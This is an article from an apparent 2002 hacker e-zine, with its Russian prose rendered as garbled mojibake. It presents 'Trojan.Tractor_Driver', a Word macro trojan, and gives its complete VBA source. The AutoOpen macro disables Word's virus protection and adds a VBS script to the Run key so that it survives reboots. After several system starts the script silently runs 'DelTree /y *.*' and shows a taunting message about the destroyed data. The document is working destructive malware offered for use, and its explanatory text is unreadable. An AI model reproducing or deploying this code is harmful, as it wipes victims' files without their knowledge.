浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様�
紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭�
紺栩栩桍異栩栩欅旭旭桍旭旭異栩栩栩桍旭異栩栩毟栩栩栩栩桍旭旭異欅旭旭栩栩栩栩朧�
紺異栩欅旭栩桍旭旭異栩欅旭旭栩欅異栩桍旭栩桍異桍異桍異桍旭旭栩桍旭旭桍異桍異朧�
紺異桍旭旭栩欅旭旭異栩欅旭旭栩欅旭異桍旭異桍異欅異桍旭桍旭旭栩桍旭旭欅異桍旭朧�
紺異桍旭旭栩欅旭旭栩栩桍旭旭栩欅旭異桍旭異桍旭旭異桍旭旭旭異栩栩欅旭旭異桍旭旭�
紺異栩栩栩栩欅旭異桍異桍旭旭栩栩栩栩桍旭異桍旭旭異桍旭旭旭栩欅栩欅旭旭異桍旭旭�
紺異桍旭旭栩欅旭異栩栩栩欅旭栩欅旭異栩欅異桍旭旭異桍旭旭旭栩栩栩桍旭旭異桍旭旭�
紺異桍旭旭栩欅旭栩欅旭栩桍旭栩欅旭旭栩欅異桍旭旭異桍旭旭異桍旭異栩欅旭異桍旭旭�
紺異桍旭旭栩欅異桍旭旭異桍旭栩欅旭異栩欅異桍旭旭異桍旭旭栩欅旭旭栩欅旭異桍旭旭�
紺栩栩桍異栩桍栩栩欅旭栩栩毟栩栩栩栩欅異栩栩欅旭栩栩欅異栩桍旭異栩桍旭栩栩桍旭�
紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭�
紺旭旭旭旭旭旭旭旭旭旭旭旭旭�  issue#2 apr.2002  旭旭旭旭旭旭旭旭旭旭旭旭旭旭虻
紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭�
藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様�


  --< Trojan.Tractor_Driver >--


 � ����皋腑瓷� �┴���� �� ���━��瘴 �������┘� 矗�鎰��. �キ� �┴���� �� 
 ┃皀爛甌��� �牀罐瘁 ��о竏キ�� ����諷 � �皓�腮� �� �牀罐瘁� ��К��Ε��� ;)
 �� 矣� ���-皰 ��ぎ °�� �皰�痰�碎 �き��� 艫����. � ������� 甄イ竡薑� 矗�鎰.

 ��� ィ� ���皖�� ������┘:
 1.) �牀鎰 ��絎え矚� � ぎ�祠キ皀 ��爐 97 � ※ぅ ���牀��.
 2.) 踸 �皖琺皋� 轤��� ぎ�祠キ�� 矗�鎰 甌Г�驍 ���� �磴� ����瘠��モ ��� ｀�°.
 3.) ����� - 轤� VBS ���� ��皰琺� ���竅��モ deltree � �����モ牀� /y *.* ��甄�
 ��爛ぅ�餃���� 腮甄� ���竅��� (Гメ� 4).
 4.) ���牀� ��痰��│�モ 爛メ矗 ���━ �÷�М� 艪� vbs ���� ���竅��モ瘴 �爬
 痰�珥� 瓱痰ガ�.
  
 � ≡ィ� ��蓐 絎皀� ������碎 ��� � ぎ�祠キ皀 word ��Ν� �ムキメ皋 矗�鎰瓷竡
 ������キ矣. ���ゥ 皀�痰 矗�鎰� (���牀� AutoOpen()). 
 
=======< cut here >=======
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Set regedit = CreateObject("wscript.shell")
Set fso = CreateObject("scripting.filesystemobject")
wdir = fso.getspecialfolder(windowsfolder)
If regedit.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR") <> wdir + "\tractor.vbs" Then
regedit.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR", wdir + "\tractor.vbs"
fso.createtextfile wdir + "\tractor.vbs", True
Set f1 = fso.opentextfile(wdir + "\tractor.vbs", 2, True)
f1.writeline "'TRACTOR DRIVER V 1.3 beta"
f1.writeline "On Error Resume Next"
f1.writeline "Set regedit = CreateObject(""wscript.shell"")"
f1.writeline "Set WshShell = wscript.CreateObject(""Wscript.Shell"")"
f1.writeline "If regedit.regread(""HKEY_CURRENT_USER\TRACTOR\"") <> ""xfuck"" Then"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\"", ""xfuck"""
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", 0"
f1.writeline "Else"
f1.writeline "Count = regedit.regread(""HKEY_CURRENT_USER\TRACTOR\cnt\"")"
f1.writeline "If Count = 4 Then"
f1.writeline "Bomb"
f1.writeline "Else"
f1.writeline "Count = Count + 1"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", Count"
f1.writeline "End If"
f1.writeline "End If"
f1.writeline "Sub Bomb()"
f1.writeline "On Error Resume Next"
f1.writeline "WshShell.Run ""DelTree /y *.* >null"", vbHide"
f1.writeline "MsgBox ""Furious Tractor Driver has just destroyed your DATA. HA-Ha-Ha-haha"""
f1.writeline "End Sub"
f1.Close
End If
End Sub
=======< cut here >=======


  --< ... >--